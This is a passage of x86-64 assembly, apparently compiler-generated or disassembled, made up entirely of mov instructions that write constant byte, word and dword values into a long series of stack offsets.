mov word [rsp + 0x2fa4], ax
mov dword [rsp + 0xbc54], 0xfcf7
mov eax, 0x71a
mov word [rsp + 0x2fa8], ax
mov dword [rsp + 0xbc58], 0x3d85
mov eax, 0x55
mov word [rsp + 0x2fac], ax
mov eax, 0xd3d
mov word [rsp + 0x2fb0], ax
mov dword [rsp + 0xbc5c], 0xe85
mov dword [rsp + 0xbc60], 0x6cc7
mov dword [rsp + 0xbc64], 0x1a41
mov dword [rsp + 0xbc68], 0x506d
mov dword [rsp + 0xbc6c], 0x22d7
mov eax, 0x6a0
mov word [rsp + 0x2fb4], ax
mov byte [rsp + 0x60d], 0xd9
mov dword [rsp + 0xbc70], 0x6d8c
mov dword [rsp + 0xbc74], 0x44ae
mov dword [rsp + 0xbc78], 0x268d
mov dword [rsp + 0xbc7c], 0x6d4b
mov dword [rsp + 0xbc80], 0x8aaf
mov dword [rsp + 0xbc84], 0x4575
mov dword [rsp + 0xbc88], 0x7dbc
mov eax, 0x261
mov word [rsp + 0x2fb8], ax
mov byte [rsp + 0x60e], 0x79
mov dword [rsp + 0xbc8c], 0xa79
mov dword [rsp + 0xbc90], 0xf7db
mov dword [rsp + 0xbc94], 0x42ec
mov dword [rsp + 0xbc98], 0x7711
mov dword [rsp + 0xbc9c], 0x6be9
mov byte [rsp + 0x60f], 0xd8
mov eax, 0x474
mov word [rsp + 0x2fbc], ax
mov dword [rsp + 0xbca0], 0x14a3
mov byte [rsp + 0x610], 0x6c
mov dword [rsp + 0xbca4], 0x762a
mov dword [rsp + 0xbca8], 0x3b9
mov eax, 0x792
mov word [rsp + 0x2fc0], ax
mov dword [rsp + 0xbcac], 0x3832
mov eax, 0xe1a
mov word [rsp + 0x2fc4], ax
mov dword [rsp + 0xbcb0], 0x4a9c
mov dword [rsp + 0xbcb4], 0x1c5e
mov eax, 0x3c8
mov word [rsp + 0x2fc8], ax
mov dword [rsp + 0xbcb8], 0x5aee
mov byte [rsp + 0x611], 0xd0
mov dword [rsp + 0xbcbc], 0x63a0
mov eax, 0x4bc
mov word [rsp + 0x2fcc], ax
mov byte [rsp + 0x612], 0x4b
mov dword [rsp + 0xbcc0], 0x55b7
mov eax, 0x788
mov word [rsp + 0x2fd0], ax
mov dword [rsp + 0xbcc4], 0x6dc7
mov dword [rsp + 0xbcc8], 0xcbbf
mov dword [rsp + 0xbccc], 0x236d
mov dword [rsp + 0xbcd0], 0x34c1
mov dword [rsp + 0xbcd4], 0x250f
mov dword [rsp + 0xbcd8], 0xfbed
mov eax, 0xea3
mov word [rsp + 0x2fd4], ax
mov eax, 0xc7a
mov word [rsp + 0x2fd8], ax
mov dword [rsp + 0xbcdc], 0x73c2
mov byte [rsp + 0x613], 0xcf
mov dword [rsp + 0xbce0], 0x5b35
mov eax, 0xf33
mov word [rsp + 0x2fdc], ax
mov dword [rsp + 0xbce4], 0xf405
mov dword [rsp + 0xbce8], 0x97f3
mov eax, 0x7fa
mov word [rsp + 0x2fe0], ax
mov dword [rsp + 0xbcec], 0x5560
mov dword [rsp + 0xbcf0], 0x33d1
mov dword [rsp + 0xbcf4], 0xc1f5
mov eax, 0x1f3
mov word [rsp + 0x2fe4], ax
mov dword [rsp + 0xbcf8], 0x2b39
mov eax, 0xbea
mov word [rsp + 0x2fe8], ax
mov dword [rsp + 0xbcfc], 0xc14
mov eax, 0x36d
mov word [rsp + 0x2fec], ax
mov dword [rsp + 0xbd00], 0x22d5
mov dword [rsp + 0xbd04], 0x8006
mov dword [rsp + 0xbd08], 0x75dc
mov dword [rsp + 0xbd0c], 0x2ed2
mov dword [rsp + 0xbd10], 0x3caf
mov dword [rsp + 0xbd14], 0x4e8f
mov eax, 0x3b8
mov word [rsp + 0x2ff0], ax
mov dword [rsp + 0xbd18], 0x2620
mov dword [rsp + 0xbd1c], 0x9392
mov dword [rsp + 0xbd20], 0x94d6
mov eax, 0x603
mov word [rsp + 0x2ff4], ax
mov byte [rsp + 0x614], 0x9c
mov dword [rsp + 0xbd24], 0x5741
mov dword [rsp + 0xbd28], 0x3c9a
mov dword [rsp + 0xbd2c], 0x4955
mov dword [rsp + 0xbd30], 0x1690
mov dword [rsp + 0xbd34], 0x104a
mov dword [rsp + 0xbd38], 0x580d
mov byte [rsp + 0x615], 0x1c
mov byte [rsp + 0x616], 0xbe
mov byte [rsp + 0x617], 0x4a
mov dword [rsp + 0xbd3c], 0x2ccd
mov dword [rsp + 0xbd40], 0x6066
mov dword [rsp + 0xbd44], 0x53e1
mov byte [rsp + 0x618], 0xb
mov dword [rsp + 0xbd48], 0x37cb
mov dword [rsp + 0xbd4c], 0x69f6
mov dword [rsp + 0xbd50], 0x9bff
mov eax, 0x3c0
mov word [rsp + 0x2ff8], ax
mov dword [rsp + 0xbd54], 0x34b5
mov byte [rsp + 0x619], 0x5a
mov eax, 0x1f3
mov word [rsp + 0x2ffc], ax
mov byte [rsp + 0x61a], 0xf7
mov dword [rsp + 0xbd58], 0x774a
mov byte [rsp + 0x61b], 0x45
mov dword [rsp + 0xbd5c], 0x1d9a
mov dword [rsp + 0xbd60], 0xdff
mov dword [rsp + 0xbd64], 0x5093
mov dword [rsp + 0xbd68], 0xc8b4
mov byte [rsp + 0x61c], 0x99
mov dword [rsp + 0xbd6c], 0xd9d
mov byte [rsp + 0x61d], 0x1f
mov byte [rsp + 0x61e], 0x63
mov eax, 0x2e7
mov word [rsp + 0x3000], ax
mov eax, 0x7fd
mov word [rsp + 0x3004], ax
mov dword [rsp + 0xbd70], 0x56d1
mov dword [rsp + 0xbd74], 0xdd85
mov dword [rsp + 0xbd78], 0x6936
mov dword [rsp + 0xbd7c], 0x2746
mov byte [rsp + 0x61f], 0x47
mov dword [rsp + 0xbd80], 0xa4bb
mov dword [rsp + 0xbd84], 0x2138
mov dword [rsp + 0xbd88], 0x4c56
mov eax, 0x945
mov word [rsp + 0x3008], ax
mov dword [rsp + 0xbd8c], 0xea6
mov dword [rsp + 0xbd90], 0xad9
mov dword [rsp + 0xbd94], 0x66c
mov dword [rsp + 0xbd98], 0x39c
mov byte [rsp + 0x620], 0xa6
mov dword [rsp + 0xbd9c], 0x159f
mov dword [rsp + 0xbda0], 0xcafa
mov eax, 0x590
mov word [rsp + 0x300c], ax
mov byte [rsp + 0x621], 0xd
mov eax, 0xdc8
mov word [rsp + 0x3010], ax
mov byte [rsp + 0x622], 0xaa
mov byte [rsp + 0x623], 0x31
mov eax, 0xd3e
mov word [rsp + 0x3014], ax
mov byte [rsp + 0x624], 0x1f
mov dword [rsp + 0xbda4], 0x5114
mov eax, 5
mov word [rsp + 0x3018], ax
mov byte [rsp + 0x625], 0x7d
mov dword [rsp + 0xbda8], 0x549b
mov byte [rsp + 0x626], 0xfb
mov dword [rsp + 0xbdac], 0x7397
mov dword [rsp + 0xbdb0], 0x69ef
mov dword [rsp + 0xbdb4], 0xb04c
mov dword [rsp + 0xbdb8], 0x56eb
mov eax, 0x3ca
mov word [rsp + 0x301c], ax
mov dword [rsp + 0xbdbc], 0x4932
mov dword [rsp + 0xbdc0], 0x1dbf
mov byte [rsp + 0x627], 0x97
mov dword [rsp + 0xbdc4], 0x7837
mov dword [rsp + 0xbdc8], 0x12c4
mov dword [rsp + 0xbdcc], 0x22e0
mov byte [rsp + 0x628], 0xf5
mov eax, 0x715
mov word [rsp + 0x3020], ax
mov dword [rsp + 0xbdd0], 0xcfa8
mov dword [rsp + 0xbdd4], 0x98d8
mov eax, 0xa79
mov word [rsp + 0x3024], ax
mov dword [rsp + 0xbdd8], 0x5aa2
mov eax, 0x2a7
mov word [rsp + 0x3028], ax
mov eax, 0x4e4
mov word [rsp + 0x302c], ax
mov dword [rsp + 0xbddc], 0x76cc
mov byte [rsp + 0x629], 0x6b
mov dword [rsp + 0xbde0], 0x366c
mov dword [rsp + 0xbde4], 0x7242
mov eax, 0x80e
mov word [rsp + 0x3030], ax
mov byte [rsp + 0x62a], 0x16
mov dword [rsp + 0xbde8], 0x7d0b
mov dword [rsp + 0xbdec], 0x1f34
mov dword [rsp + 0xbdf0], 0x3ebe
mov dword [rsp + 0xbdf4], 0x340b
mov byte [rsp + 0x62b], 0xcb
mov eax, 0x930
mov word [rsp + 0x3034], ax
mov dword [rsp + 0xbdf8], 0x1e2d
mov dword [rsp + 0xbdfc], 0x3a29
mov dword [rsp + 0xbe00], 0x517c
mov dword [rsp + 0xbe04], 0x2ee
mov eax, 0x385
mov word [rsp + 0x3038], ax
mov byte [rsp + 0x62c], 0x44
mov byte [rsp + 0x62d], 0x20
mov eax, 0x229
mov word [rsp + 0x303c], ax
mov dword [rsp + 0xbe08], 0x9189
mov eax, 0xed3
mov word [rsp + 0x3040], ax
mov byte [rsp + 0x62e], 0x55
mov dword [rsp + 0xbe0c], 0x5b8a
mov byte [rsp + 0x62f], 0x70
mov dword [rsp + 0xbe10], 0xccd6
mov dword [rsp + 0xbe14], 0x5f6c
mov dword [rsp + 0xbe18], 0x5a17
mov eax, 0x8c6
mov word [rsp + 0x3044], ax
mov eax, 0xf9e
mov word [rsp + 0x3048], ax
mov eax, 0x750
mov word [rsp + 0x304c], ax
mov dword [rsp + 0xbe1c], 0x2405
mov dword [rsp + 0xbe20], 0x1ad5
mov dword [rsp + 0xbe24], 0x20a8
mov dword [rsp + 0xbe28], 0x96cf
mov byte [rsp + 0x630], 0x4e
mov dword [rsp + 0xbe2c], 0xefd
mov eax, 0xbcb
mov word [rsp + 0x3050], ax
mov dword [rsp + 0xbe30], 0x2268
mov dword [rsp + 0xbe34], 0x664
mov dword [rsp + 0xbe38], 0xa48e
mov dword [rsp + 0xbe3c], 0x5eb0
mov dword [rsp + 0xbe40], 0x6faa
mov eax, 0x8fb
mov word [rsp + 0x3054], ax
mov byte [rsp + 0x631], 4
mov byte [rsp + 0x632], 0x13
mov byte [rsp + 0x633], 0x44
mov eax, 0x2d3
mov word [rsp + 0x3058], ax
mov byte [rsp + 0x634], 0xe0
mov dword [rsp + 0xbe44], 0xb851
mov byte [rsp + 0x635], 0x44
mov eax, 0xb5b
mov word [rsp + 0x305c], ax
mov dword [rsp + 0xbe48], 0x2cb5
mov dword [rsp + 0xbe4c], 0x3d3a
mov byte [rsp + 0x636], 0x7d
mov dword [rsp + 0xbe50], 0x1c05
mov byte [rsp + 0x637], 9
mov dword [rsp + 0xbe54], 0x3655
mov dword [rsp + 0xbe58], 0x3326
mov dword [rsp + 0xbe5c], 0x2cf1
mov eax, 0x187
mov word [rsp + 0x3060], ax
mov eax, 0xb26
mov word [rsp + 0x3064], ax
mov dword [rsp + 0xbe60], 0x63f5
mov eax, 0x188
mov word [rsp + 0x3068], ax
mov eax, 0xf1e
mov word [rsp + 0x306c], ax
mov dword [rsp + 0xbe64], 0x436f
mov dword [rsp + 0xbe68], 0x8536
mov dword [rsp + 0xbe6c], 0x5ba0
mov eax, 0x1b6
mov word [rsp + 0x3070], ax
mov byte [rsp + 0x638], 0x83
mov byte [rsp + 0x639], 0x33
mov dword [rsp + 0xbe70], 0xd393
mov dword [rsp + 0xbe74], 0x2aac
mov eax, 0x5fb
mov word [rsp + 0x3074], ax
mov dword [rsp + 0xbe78], 0x4bce
mov dword [rsp + 0xbe7c], 0x576
mov dword [rsp + 0xbe80], 0x40d5
mov eax, 0x81a
mov word [rsp + 0x3078], ax
mov eax, 0x4f2
mov word [rsp + 0x307c], ax
mov dword [rsp + 0xbe84], 0x139f
mov dword [rsp + 0xbe88], 0xea9
mov dword [rsp + 0xbe8c], 0x5bd9
mov dword [rsp + 0xbe90], 0x67fe
mov eax, 0xbc7
mov word [rsp + 0x3080], ax
mov eax, 0xfa0
mov word [rsp + 0x3084], ax
mov byte [rsp + 0x63a], 0xcf
mov dword [rsp + 0xbe94], 0x9f96
mov dword [rsp + 0xbe98], 0x3ba7
mov dword [rsp + 0xbe9c], 0x5b1c
mov dword [rsp + 0xbea0], 0x4861
mov byte [rsp + 0x63b], 0xba
mov dword [rsp + 0xbea4], 0xbc71
mov eax, 0xc3e
mov word [rsp + 0x3088], ax
mov dword [rsp + 0xbea8], 0x7773
mov eax, 0x469
mov word [rsp + 0x308c], ax
mov dword [rsp + 0xbeac], 0xc3e6
mov eax, 0xaa0
mov word [rsp + 0x3090], ax
mov dword [rsp + 0xbeb0], 0xe6ce
mov dword [rsp + 0xbeb4], 0x7853
mov eax, 0x1b6
mov word [rsp + 0x3094], ax
mov eax, 0xf6a
mov word [rsp + 0x3098], ax
mov dword [rsp + 0xbeb8], 0xdb3e
mov dword [rsp + 0xbebc], 0xfd13
mov dword [rsp + 0xbec0], 0x284
mov dword [rsp + 0xbec4], 0x628
mov dword [rsp + 0xbec8], 0x607c
mov dword [rsp + 0xbecc], 0x3b17
mov dword [rsp + 0xbed0], 0xb874
mov dword [rsp + 0xbed4], 0x6abe
mov dword [rsp + 0xbed8], 0x432c
mov dword [rsp + 0xbedc], 0x40ff
mov dword [rsp + 0xbee0], 0x4c7a
mov dword [rsp + 0xbee4], 0x4161
mov dword [rsp + 0xbee8], 0x7dad
mov dword [rsp + 0xbeec], 0x2703
mov byte [rsp + 0x63c], 0xac
mov eax, 0xd81
mov word [rsp + 0x309c], ax
mov dword [rsp + 0xbef0], 0x413e
mov dword [rsp + 0xbef4], 0xab49
mov eax, 0x607
mov word [rsp + 0x30a0], ax
mov eax, 0x39c
mov word [rsp + 0x30a4], ax
mov byte [rsp + 0x63d], 0x56
mov byte [rsp + 0x63e], 0x31
mov dword [rsp + 0xbef8], 0x66e0
mov eax, 0x3d1
mov word [rsp + 0x30a8], ax
mov dword [rsp + 0xbefc], 0x1490
mov dword [rsp + 0xbf00], 0x7588
mov byte [rsp + 0x63f], 0x3f
mov dword [rsp + 0xbf04], 0x1793
mov dword [rsp + 0xbf08], 0xef29
mov dword [rsp + 0xbf0c], 0xce99
mov dword [rsp + 0xbf10], 0x63d7
mov dword [rsp + 0xbf14], 0x20b6
mov dword [rsp + 0xbf18], 0x372e
mov eax, 0x1da
mov word [rsp + 0x30ac], ax
mov dword [rsp + 0xbf1c], 0x26d7
mov dword [rsp + 0xbf20], 0x32d5
mov byte [rsp + 0x640], 0xf5
mov eax, 0xb07
mov word [rsp + 0x30b0], ax
mov eax, 0xcfa
mov word [rsp + 0x30b4], ax
mov byte [rsp + 0x641], 0x25
mov eax, 0x906
mov word [rsp + 0x30b8], ax
mov eax, 0xe3e
mov word [rsp + 0x30bc], ax
mov eax, 0x678
mov word [rsp + 0x30c0], ax
mov dword [rsp + 0xbf24], 0x1b5a
mov eax, 0x633
mov word [rsp + 0x30c4], ax
mov dword [rsp + 0xbf28], 0xc28e
mov dword [rsp + 0xbf2c], 0x9898
mov eax, 0x31c
mov word [rsp + 0x30c8], ax
mov dword [rsp + 0xbf30], 0x6103
mov dword [rsp + 0xbf34], 0x51b3
mov byte [rsp + 0x642], 0x38
mov dword [rsp + 0xbf38], 0x47b3
mov dword [rsp + 0xbf3c], 0x132c
mov byte [rsp + 0x643], 0x79
mov dword [rsp + 0xbf40], 0xc4a
mov byte [rsp + 0x644], 0x38
mov dword [rsp + 0xbf44], 0x6f5e
mov dword [rsp + 0xbf48], 0x70e4
mov dword [rsp + 0xbf4c], 0x9bbf
mov eax, 0x6b4
mov word [rsp + 0x30cc], ax
mov dword [rsp + 0xbf50], 0x371e
mov byte [rsp + 0x645], 0x77
mov byte [rsp + 0x646], 0xee
mov dword [rsp + 0xbf54], 0x5901
mov byte [rsp + 0x647], 7
mov dword [rsp + 0xbf58], 0xab9d
mov dword [rsp + 0xbf5c], 0x1c6e
mov dword [rsp + 0xbf60], 0xf33
mov eax, 0xb87
mov word [rsp + 0x30d0], ax
mov dword [rsp + 0xbf64], 0xc4c
mov dword [rsp + 0xbf68], 0xa1ca
mov dword [rsp + 0xbf6c], 0x58f6
mov dword [rsp + 0xbf70], 0xd656
mov dword [rsp + 0xbf74], 0x4221
mov dword [rsp + 0xbf78], 0x33ff
mov dword [rsp + 0xbf7c], 0x742b
mov dword [rsp + 0xbf80], 0x42f4
mov dword [rsp + 0xbf84], 0x5afc
mov eax, 0x28c
mov word [rsp + 0x30d4], ax
mov byte [rsp + 0x648], 0x27
mov dword [rsp + 0xbf88], 0x51f6
mov dword [rsp + 0xbf8c], 0x7178
mov eax, 0x796
mov word [rsp + 0x30d8], ax
mov eax, 0xb74
mov word [rsp + 0x30dc], ax
mov eax, 0x3bc
mov word [rsp + 0x30e0], ax
mov dword [rsp + 0xbf90], 0x30f2
mov dword [rsp + 0xbf94], 0x39e5
mov dword [rsp + 0xbf98], 0x489f
mov dword [rsp + 0xbf9c], 0xc27b
mov dword [rsp + 0xbfa0], 0x53aa
mov eax, 0x2fb
mov word [rsp + 0x30e4], ax
mov dword [rsp + 0xbfa4], 0x1d48
mov dword [rsp + 0xbfa8], 0xed4b
mov byte [rsp + 0x649], 0x1e
mov dword [rsp + 0xbfac], 0x2d2c
mov dword [rsp + 0xbfb0], 0x64ff
mov dword [rsp + 0xbfb4], 0x38eb
mov dword [rsp + 0xbfb8], 0x6356
mov dword [rsp + 0xbfbc], 0xa267
mov dword [rsp + 0xbfc0], 0x95f1
mov dword [rsp + 0xbfc4], 0x797f
mov eax, 0x3c5
mov word [rsp + 0x30e8], ax
mov byte [rsp + 0x64a], 0x30
mov byte [rsp + 0x64b], 0x63
mov dword [rsp + 0xbfc8], 0x107d
mov dword [rsp + 0xbfcc], 0xa9fb
mov dword [rsp + 0xbfd0], 0x7c23
mov dword [rsp + 0xbfd4], 0x4df2
mov dword [rsp + 0xbfd8], 0x6ebf
mov dword [rsp + 0xbfdc], 0x506
mov dword [rsp + 0xbfe0], 0x88e7
mov eax, 0xdac
mov word [rsp + 0x30ec], ax
mov byte [rsp + 0x64c], 0x3a
mov dword [rsp + 0xbfe4], 0x1065
mov dword [rsp + 0xbfe8], 0x3a4d
mov dword [rsp + 0xbfec], 0x11dd
mov byte [rsp + 0x64d], 0x24
mov dword [rsp + 0xbff0], 0x49c8
mov eax, 0xd5
mov word [rsp + 0x30f0], ax
mov dword [rsp + 0xbff4], 0x57e4
mov dword [rsp + 0xbff8], 0x3c98
mov dword [rsp + 0xbffc], 0x734e
mov byte [rsp + 0x64e], 0x76
mov dword [rsp + 0xc000], 0x72bf
mov byte [rsp + 0x64f], 0x1c
mov byte [rsp + 0x650], 0x5a
mov byte [rsp + 0x651], 0x6a
mov byte [rsp + 0x652], 0xb5
mov dword [rsp + 0xc004], 0xb7e5
mov dword [rsp + 0xc008], 0x67be
mov dword [rsp + 0xc00c], 0x5505
mov dword [rsp + 0xc010], 0x4c26
mov dword [rsp + 0xc014], 0x3660
mov byte [rsp + 0x653], 0x4c
mov eax, 0x49d
mov word [rsp + 0x30f4], ax
mov dword [rsp + 0xc018], 0x4752
mov byte [rsp + 0x654], 0x16
mov eax, 0xf49
mov word [rsp + 0x30f8], ax
mov dword [rsp + 0xc01c], 0x2968
mov dword [rsp + 0xc020], 0x56bf
mov dword [rsp + 0xc024], 0x6dee
mov eax, 0x39f
mov word [rsp + 0x30fc], ax
mov dword [rsp + 0xc028], 0x6695
mov dword [rsp + 0xc02c], 0x6dd
mov dword [rsp + 0xc030], 0x72d1
mov dword [rsp + 0xc034], 0x2474
mov dword [rsp + 0xc038], 0x2292
mov dword [rsp + 0xc03c], 0x1ce2
mov dword [rsp + 0xc040], 0xa527
mov eax, 0x559
mov word [rsp + 0x3100], ax
mov dword [rsp + 0xc044], 0xa407
mov dword [rsp + 0xc048], 0x6fc0
mov eax, 0x5e5
mov word [rsp + 0x3104], ax
mov dword [rsp + 0xc04c], 0xaa42
mov dword [rsp + 0xc050], 0x16b
mov dword [rsp + 0xc054], 0x4068
mov byte [rsp + 0x655], 0x6c
mov eax, 0x3f0
mov word [rsp + 0x3108], ax
mov dword [rsp + 0xc058], 0x4658
mov dword [rsp + 0xc05c], 0xed33
mov dword [rsp + 0xc060], 0xd8d3
mov byte [rsp + 0x656], 0x10
mov eax, 0x39f
mov word [rsp + 0x310c], ax
mov dword [rsp + 0xc064], 0x1445
mov eax, 0x24
mov word [rsp + 0x3110], ax
mov dword [rsp + 0xc068], 0x6fd7
mov eax, 0x655
mov word [rsp + 0x3114], ax
mov byte [rsp + 0x657], 0x49
mov eax, 0x980
mov word [rsp + 0x3118], ax
mov dword [rsp + 0xc06c], 0x41e8
mov dword [rsp + 0xc070], 0xb19d
mov dword [rsp + 0xc074], 0x4005
mov dword [rsp + 0xc078], 0x8c80
mov dword [rsp + 0xc07c], 0x1f63
mov eax, 0x699
mov word [rsp + 0x311c], ax
mov eax, 0x696
mov word [rsp + 0x3120], ax
mov dword [rsp + 0xc080], 0x42ac
mov eax, 0xa21
mov word [rsp + 0x3124], ax
mov dword [rsp + 0xc084], 0xed40
mov eax, 0x5bb
mov word [rsp + 0x3128], ax
mov dword [rsp + 0xc088], 0x73b2
mov byte [rsp + 0x658], 0x66
mov dword [rsp + 0xc08c], 0xdb19
mov dword [rsp + 0xc090], 0xa373
mov dword [rsp + 0xc094], 0x74d6
mov eax, 0xd24
mov word [rsp + 0x312c], ax
mov byte [rsp + 0x659], 0x25
mov byte [rsp + 0x65a], 0x75
mov byte [rsp + 0x65b], 0x70
mov byte [rsp + 0x65c], 0x11
mov dword [rsp + 0xc098], 0x2bdd
mov dword [rsp + 0xc09c], 0xb39
mov dword [rsp + 0xc0a0], 0x36e0
mov eax, 0xbe9
mov word [rsp + 0x3130], ax
mov dword [rsp + 0xc0a4], 0x3dbc
mov dword [rsp + 0xc0a8], 0x2a9
mov byte [rsp + 0x65d], 0xf8
mov byte [rsp + 0x65e], 0x32
mov byte [rsp + 0x65f], 0x69
mov dword [rsp + 0xc0ac], 0x28b0
mov byte [rsp + 0x660], 0x30
mov eax, 0x5d5
mov word [rsp + 0x3134], ax
mov dword [rsp + 0xc0b0], 0x360
mov byte [rsp + 0x661], 0x5c
mov dword [rsp + 0xc0b4], 0xedfa
mov dword [rsp + 0xc0b8], 0x12a6
mov eax, 0xb7c
mov word [rsp + 0x3138], ax
mov eax, 0xc14
mov word [rsp + 0x313c], ax
mov dword [rsp + 0xc0bc], 0x4184
mov dword [rsp + 0xc0c0], 0x42fa
mov dword [rsp + 0xc0c4], 0x662a
mov dword [rsp + 0xc0c8], 0x4830
mov eax, 0xd91
mov word [rsp + 0x3140], ax
mov dword [rsp + 0xc0cc], 0x72e4
mov byte [rsp + 0x662], 0x1f
mov dword [rsp + 0xc0d0], 0x67e1
mov dword [rsp + 0xc0d4], 0x6cd9
mov dword [rsp + 0xc0d8], 0xe917
mov dword [rsp + 0xc0dc], 0x8b7
mov eax, 0x476
mov word [rsp + 0x3144], ax
mov eax, 0x76c
mov word [rsp + 0x3148], ax
mov dword [rsp + 0xc0e0], 0x280e
mov dword [rsp + 0xc0e4], 0x3283
mov dword [rsp + 0xc0e8], 0x529e
mov dword [rsp + 0xc0ec], 0x5264
mov dword [rsp + 0xc0f0], 0xd08
mov dword [rsp + 0xc0f4], 0x34a2
mov byte [rsp + 0x663], 0x4b
mov dword [rsp + 0xc0f8], 0x3d7f
mov dword [rsp + 0xc0fc], 0xc65
mov dword [rsp + 0xc100], 0x3688
mov dword [rsp + 0xc104], 0x377c
mov dword [rsp + 0xc108], 0xdcd2
mov dword [rsp + 0xc10c], 0x7243
mov dword [rsp + 0xc110], 0x53a7
mov dword [rsp + 0xc114], 0xd099
mov eax, 0x950
mov word [rsp + 0x314c], ax
mov dword [rsp + 0xc118], 0x4e89
mov dword [rsp + 0xc11c], 0x48de
mov dword [rsp + 0xc120], 0x7207
mov dword [rsp + 0xc124], 0x4fcd
mov byte [rsp + 0x664], 0x15
mov byte [rsp + 0x665], 0x6d
mov dword [rsp + 0xc128], 0x2c21
mov eax, 0x449
mov word [rsp + 0x3150], ax
mov byte [rsp + 0x666], 0x9d
mov dword [rsp + 0xc12c], 0x5ae8
mov eax, 0x4cb
mov word [rsp + 0x3154], ax
mov eax, 0x49
mov word [rsp + 0x3158], ax
mov dword [rsp + 0xc130], 0x7469
mov dword [rsp + 0xc134], 0x5657
mov dword [rsp + 0xc138], 0x2b6
mov dword [rsp + 0xc13c], 0x4fc8
mov byte [rsp + 0x667], 0xbc
mov byte [rsp + 0x668], 0x3c
mov dword [rsp + 0xc140], 0xad76
mov eax, 0x72e
mov word [rsp + 0x315c], ax
mov dword [rsp + 0xc144], 0x5fe9
mov dword [rsp + 0xc148], 0x7663
mov dword [rsp + 0xc14c], 0x544b
mov dword [rsp + 0xc150], 0x5171
mov eax, 0x821
mov word [rsp + 0x3160], ax
mov dword [rsp + 0xc154], 0xb82d
mov eax, 0x3ba
mov word [rsp + 0x3164], ax
mov dword [rsp + 0xc158], 0x4b5b
mov dword [rsp + 0xc15c], 0x10b3
mov dword [rsp + 0xc160], 0x7cbf
mov eax, 0x87
mov word [rsp + 0x3168], ax
mov byte [rsp + 0x669], 0x9a
mov dword [rsp + 0xc164], 0x45e9
mov dword [rsp + 0xc168], 0x6816
mov dword [rsp + 0xc16c], 0xa2cd
mov dword [rsp + 0xc170], 0x5e71
mov dword [rsp + 0xc174], 0x49f9
mov dword [rsp + 0xc178], 0x1a30
mov eax, 0x2df
mov word [rsp + 0x316c], ax
mov byte [rsp + 0x66a], 0x1b
mov dword [rsp + 0xc17c], 0xa5ca
mov dword [rsp + 0xc180], 0x8e9
mov dword [rsp + 0xc184], 0xd8b
mov dword [rsp + 0xc188], 0x6098
mov dword [rsp + 0xc18c], 0xf5aa
mov byte [rsp + 0x66b], 0x20
mov eax, 0x9e7
mov word [rsp + 0x3170], ax
mov byte [rsp + 0x66c], 5
mov dword [rsp + 0xc190], 0xed05
mov eax, 0xdc6
mov word [rsp + 0x3174], ax
mov byte [rsp + 0x66d], 0x3f
mov dword [rsp + 0xc194], 0x1248
mov dword [rsp + 0xc198], 0xbd59
mov eax, 0x5ff
mov word [rsp + 0x3178], ax
mov byte [rsp + 0x66e], 0x79
mov byte [rsp + 0x66f], 0x4f
mov dword [rsp + 0xc19c], 0x3bdd
mov eax, 0x10e
mov word [rsp + 0x317c], ax
mov eax, 0x2fb
mov word [rsp + 0x3180], ax
mov eax, 0x1a8
mov word [rsp + 0x3184], ax
mov dword [rsp + 0xc1a0], 0x5fe2
mov eax, 0xe4d
mov word [rsp + 0x3188], ax
mov dword [rsp + 0xc1a4], 0xbc65
mov dword [rsp + 0xc1a8], 0x7d76
mov byte [rsp + 0x670], 0xec
mov eax, 0x3d3
mov word [rsp + 0x318c], ax
mov dword [rsp + 0xc1ac], 0x1056
mov byte [rsp + 0x671], 0xaa
mov dword [rsp + 0xc1b0], 0x52a3
mov dword [rsp + 0xc1b4], 0x3fdf
mov dword [rsp + 0xc1b8], 0x2561
mov eax, 0x4d2
mov word [rsp + 0x3190], ax
mov eax, 0x130
mov word [rsp + 0x3194], ax
mov dword [rsp + 0xc1bc], 0x63cb
mov byte [rsp + 0x672], 0xbf
mov dword [rsp + 0xc1c0], 0xa646
mov byte [rsp + 0x673], 0xe9
mov dword [rsp + 0xc1c4], 0x718
mov dword [rsp + 0xc1c8], 0x7ced
mov dword [rsp + 0xc1cc], 0x7e63
mov dword [rsp + 0xc1d0], 0x7b9c
mov eax, 0x194
mov word [rsp + 0x3198], ax
mov dword [rsp + 0xc1d4], 0x154f
mov byte [rsp + 0x674], 0xc3
mov dword [rsp + 0xc1d8], 0x103a
mov byte [rsp + 0x675], 0x3d
mov dword [rsp + 0xc1dc], 0x302
mov dword [rsp + 0xc1e0], 0x6b31
mov eax, 0x6c
mov word [rsp + 0x319c], ax
mov byte [rsp + 0x676], 0x7a
mov dword [rsp + 0xc1e4], 0x1086
mov byte [rsp + 0x677], 0x49
mov dword [rsp + 0xc1e8], 0x88a
mov eax, 0xffa
mov word [rsp + 0x31a0], ax
mov dword [rsp + 0xc1ec], 0x2266
mov eax, 0xbb
mov word [rsp + 0x31a4], ax
mov byte [rsp + 0x678], 0x68
mov byte [rsp + 0x679], 0x1a
mov dword [rsp + 0xc1f0], 0x6cb6
mov eax, 0x944
mov word [rsp + 0x31a8], ax
mov dword [rsp + 0xc1f4], 0x9c58
mov byte [rsp + 0x67a], 0x5f
mov byte [rsp + 0x67b], 0x47
mov dword [rsp + 0xc1f8], 0x22a5
mov byte [rsp + 0x67c], 0x99
mov dword [rsp + 0xc1fc], 0x1e76
mov byte [rsp + 0x67d], 0x75
mov eax, 0x583
mov word [rsp + 0x31ac], ax
mov dword [rsp + 0xc200], 0x3fe0
mov dword [rsp + 0xc204], 0x22f9
mov dword [rsp + 0xc208], 0x2585
mov dword [rsp + 0xc20c], 0x548e
mov eax, 0x65d
mov word [rsp + 0x31b0], ax
mov byte [rsp + 0x67e], 0x24
mov eax, 0x46d
mov word [rsp + 0x31b4], ax
mov byte [rsp + 0x67f], 0xa0
mov dword [rsp + 0xc210], 0x1d6a
mov dword [rsp + 0xc214], 0x465d
mov dword [rsp + 0xc218], 0x8a05
mov byte [rsp + 0x680], 0x26
mov dword [rsp + 0xc21c], 0x64f3
mov eax, 0xa4d
mov word [rsp + 0x31b8], ax
mov eax, 0xd00
mov word [rsp + 0x31bc], ax
mov dword [rsp + 0xc220], 0xb6a7
mov byte [rsp + 0x681], 0x49
mov byte [rsp + 0x682], 0x2e
mov dword [rsp + 0xc224], 0x2a2c
mov dword [rsp + 0xc228], 0x6426
mov dword [rsp + 0xc22c], 0x16b6
mov dword [rsp + 0xc230], 0x5c16
mov dword [rsp + 0xc234], 0x47dd
mov dword [rsp + 0xc238], 0x1078
mov dword [rsp + 0xc23c], 0x43d0
mov eax, 0x48
mov word [rsp + 0x31c0], ax
mov byte [rsp + 0x683], 0x47
mov byte [rsp + 0x684], 0x40
mov eax, 0x1fe
mov word [rsp + 0x31c4], ax
